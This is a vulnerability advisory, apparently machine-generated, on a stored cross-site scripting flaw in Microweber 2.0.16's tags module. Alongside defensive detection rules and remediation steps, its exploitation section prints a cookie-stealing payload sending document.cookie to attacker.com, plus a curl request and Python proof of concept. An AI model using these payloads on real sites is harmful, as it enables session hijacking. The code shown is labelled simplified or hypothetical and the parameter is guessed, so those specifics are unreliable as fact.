CVE-2024-41380

Executive Summary

CVE-2024-41380 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Microweber 2.0.16, specifically within the userfiles/modules/tags/add_tagging_tagged.php endpoint. An attacker can inject arbitrary JavaScript into the tagging module, which is then stored and executed in the browsers of other users who view the affected page. This vulnerability requires user interaction (e.g., an admin viewing the tags list) but can lead to session hijacking, credential theft, or defacement. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the presence of a public proof-of-concept (PoC) increases the risk for unpatched instances.

Supply Chain & Package Security

Microweber is a PHP-based CMS. This vulnerability does not directly affect NPM, PyPI, Go, or Ruby packages. However, administrators should verify the integrity of their Microweber installation and any third-party modules.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the malicious tag)
• Scope: Unchanged
• Confidentiality Impact: Low (potential data leakage via XSS)
• Integrity Impact: Low (content injection)
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. No active exploitation has been observed, but the PoC is public.

Deep Dive & Mechanics

The vulnerability resides in the add_tagging_tagged.php script, which handles the addition of tags to content. The input parameter (likely tag_name or similar) is not properly sanitized or encoded before being stored in the database and later rendered in the admin panel or frontend. An attacker can submit a payload such as:

<script>alert('XSS')</script>

When an administrator or user views the tags list, the script executes in their browser context. The lack of output encoding and input validation allows arbitrary HTML/JavaScript injection.

Root Cause: The application fails to escape user-supplied data before outputting it in an HTML context. The htmlspecialchars() or equivalent function is not applied to the tag name when displayed.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber 2.0.16):

// userfiles/modules/tags/add_tagging_tagged.php (simplified)
$tag_name = $_POST['tag_name'];
// Directly stored and output without sanitization
echo "<li>" . $tag_name . "</li>";

Patched Code (Hypothetical Fix):

// userfiles/modules/tags/add_tagging_tagged.php (patched)
$tag_name = htmlspecialchars($_POST['tag_name'], ENT_QUOTES, 'UTF-8');
// Now safe to output
echo "<li>" . $tag_name . "</li>";

The fix requires applying htmlspecialchars() (or equivalent) to all user-controlled data before rendering in HTML. Additionally, input validation should reject or strip script tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Microweber 2.0.16 instance with the tags module enabled.
• Network access to the /userfiles/modules/tags/add_tagging_tagged.php endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., via a POST request to add_tagging_tagged.php).
2. Craft a payload that steals cookies or performs a privileged action:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Submit the payload via a POST request:

   curl -X POST http://target/userfiles/modules/tags/add_tagging_tagged.php \
        -d "tag_name=<script>alert('XSS')</script>"
   

4. When an admin views the tags page, the script executes, exfiltrating session cookies.

PoC Code (Python):

import requests

target = "http://target/userfiles/modules/tags/add_tagging_tagged.php"
payload = "<script>alert('XSS')</script>"
data = {"tag_name": payload}
response = requests.post(target, data=data)
print("Payload sent. Check admin tags page.")

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to add_tagging_tagged.php containing <script> or onerror patterns.
• Use WAF rules to block common XSS payloads in the tag_name parameter.

Hardening:

• Apply input validation: allow only alphanumeric characters and spaces in tag names.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Upgrade to the latest Microweber version if a patch becomes available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /userfiles/modules/tags/add_tagging_tagged.php with suspicious parameters.
  • Outbound connections to attacker-controlled domains from the CMS server.
• File IOCs:
  • Modified add_tagging_tagged.php file (if attacker uploads a backdoor).
  • Unexpected entries in the tags database table containing JavaScript.
• Log IOCs:
  • Web server logs showing tag_name parameter containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_41380_XSS_Microweber {
    meta:
        description = "Detects XSS payloads in Microweber tag_name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41380"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: CVE-2024-41380 Microweber XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against Microweber add_tagging_tagged.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/userfiles/modules/tags/add_tagging_tagged.php'
        cs-uri-query|contains: 'tag_name='
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in tags (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41380 Microweber XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/userfiles/modules/tags/add_tagging_tagged.php"; http_uri; content:"tag_name="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the tags module if not essential, or restrict access to the add_tagging_tagged.php endpoint via .htaccess or firewall rules.
2. Apply a virtual patch using a WAF to block XSS payloads in the tag_name parameter.
3. Manually sanitize input by editing the PHP file to add htmlspecialchars() (see patched code above).

Long-Term Fix:

• Monitor the Microweber repository for an official patch.
• Upgrade to a version where this issue is resolved (if released).
• Conduct a full security audit of the CMS.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.